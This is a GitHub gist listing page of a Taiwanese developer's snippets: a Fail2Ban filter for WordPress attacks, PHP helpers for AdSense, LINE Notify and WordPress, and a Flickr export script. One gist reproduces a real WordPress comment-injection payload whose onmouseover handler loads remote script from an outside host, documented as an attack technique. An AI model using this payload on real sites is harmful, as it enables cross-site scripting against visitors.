Skip to content

Instantly share code, notes, and snippets.

🇹🇼
寫 code 不一定會幫你賺到錢,但會寫 code 能生活的有意思點。

莫小屁 nczz

🇹🇼
寫 code 不一定會幫你賺到錢,但會寫 code 能生活的有意思點。
Block or report user

Report or block nczz

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@nczz
nczz / fail2ban-wordpress-filter.conf
Last active May 19, 2020
Fail2Ban 針對 Nginx 伺服器架構下的 WordPress 防護 https://www.mxp.tw/8978/
View fail2ban-wordpress-filter.conf
[Definition]
failregex = ^<HOST>.*POST.*wp-admin/.*HTTP\.*\" (500|503|400|403|404).*
^<HOST>.*POST.*\" (500|503|400|403|404).*
^<HOST>.*POST.*wp-content/.*(php|js|jpg|png).*
^<HOST>.*POST.*wp-include/.*(php|js|jpg|png).*
@nczz
nczz / mxp-google-adsense-management-with-line-notify.php
Last active Apr 26, 2020
[PHP] 串接 AdSense Management API 取得網站廣告收益報表 https://www.mxp.tw/8930/
View mxp-google-adsense-management-with-line-notify.php
<?php
require_once '../vendor/autoload.php';
define('TOKEN_FILENAME', '/PATH/TO/YOUR/TOKENFILE.dat', true);
$client = new Google_Client();
$client->addScope('https://www.googleapis.com/auth/adsense.readonly');
$client->setAccessType('offline');
$client->setApprovalPrompt('force');
$client->setAuthConfig('/PATH/TO/YOUR/client_secrets.json');
$auth = "";
@nczz
nczz / TWCOUNT_got_hack.js
Created Mar 24, 2020
[站長工具] TWCOUNT網站流量統計工具被駭
View TWCOUNT_got_hack.js
(function(){
function initXMLhttp() {
var xmlhttp;
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
} else {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
@nczz
nczz / mxp-line-notify-function.php
Created Mar 14, 2020
LINE Notify 通知 PHP 範例
View mxp-line-notify-function.php
<?php
function mxp_line_notify($msg) {
if ($msg == "") {
return;
}
$body = array(
'message' => PHP_EOL . $msg, //先斷行,避免跟 Bot 稱呼黏在一起
);
// 授權方式
@nczz
nczz / wp_download_img_to_media_and_bind_post.php
Last active Mar 6, 2020
WordPress 下載檔案存回媒體庫的方法
View wp_download_img_to_media_and_bind_post.php
<?php
$link = '下載連結';
$file_name = '檔案名稱';
$upload_file = array();
$options = array('timeout' => 300);
$response = wp_safe_remote_get($link, $options);
$data = wp_remote_retrieve_body($response);
$upload_file[] = wp_upload_bits($file_name, null, $data);
$pid = '該篇文章ID';
for ($i = 0; $i < count($upload_file); ++$i) {
@nczz
nczz / wp_twentynineteen_theme.php
Created Mar 2, 2020
WordPress Twenty Nineteen 主題,摘要處理
View wp_twentynineteen_theme.php
<?php
//此行以下,放置於 wp-content/themes/twentynineteen/functions.php 最末行 (注意:建議使用子主題,此操作會在主題更新後被覆蓋)
function mxp_custom_excerpt_length($length) {
return 100;
}
add_filter('excerpt_length', 'mxp_custom_excerpt_length', 999);
@nczz
nczz / wordpress-hack-comment.txt
Created Mar 1, 2020
WordPress 留言注入攻擊手法
View wordpress-hack-comment.txt
[<a href="http://" title="]" rel="nofollow"></a>[" <!-- style=font-size:99px;top:50px;position:relative; onmouseover="script=document.createElement('script');script.src='http://appendquote.com/js/js.php';script.type='text/javascript';document.body.appendChild(script);"&gt;1 -->Because Internet usage, and news consumption in general, typically drop over the weekend, when someone puts out news that they hope few people will notice, they usually announce it Friday late afternoon or evening.<a></a>]
@nczz
nczz / nginx_get_real_ip_from_cloudflare.sh
Created Feb 20, 2020
Nginx 取回 Cloudflare 代理後的瀏覽者真實 IP(搭配 http_realip_module 模組) Ref: https://virtubox.github.io/nginx-cloudflare-real-ip/
View nginx_get_real_ip_from_cloudflare.sh
#!/bin/bash
if [ -z "$(command -v curl)" ]; then
echo "####################################"
echo "Installing CURL"
echo "####################################"
apt-get update
apt-get install curl -y
fi
CURL_BIN=$(command -v curl)
@nczz
nczz / img_src_replace.php
Created Feb 20, 2020
抽圖片出來處理的方法 HTTP -> HTTPS
View img_src_replace.php
<?php
//抽圖片出來處理 HTTP -> HTTPS
@$dom->loadHTML(mb_convert_encoding($content, 'HTML-ENTITIES', 'UTF-8'), LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);
$images = $dom->getElementsByTagName('img');
foreach ($images as $image) {
$image->removeAttribute('alt');
$image->removeAttribute('width');
$image->removeAttribute('height');
$image->removeAttribute('title');
$image->removeAttribute('original');
@nczz
nczz / flickr.php
Created Feb 11, 2020
[Flickr] 請求 Flickr 全部資料與本機還原的做法
View flickr.php
<?php
/**
* 作者: Chun
* 說明: 此程式使用於請求( https://www.flickr.com/account )下載完整的 Flickr 檔案,整理照片檔案。
* 使用方法: 將所有檔案解壓縮至 Flickr 資料夾後,將此程式放於 Flickr 上一層。
* 執行程式指令: php -f flickr.php (將此段程式儲存並命名為 flickr.php)
**/
function filename_safe($name) {
$except = array('\\', '/', ':', '*', '?', '"', '<', '>', '|', ' ');
You can’t perform that action at this time.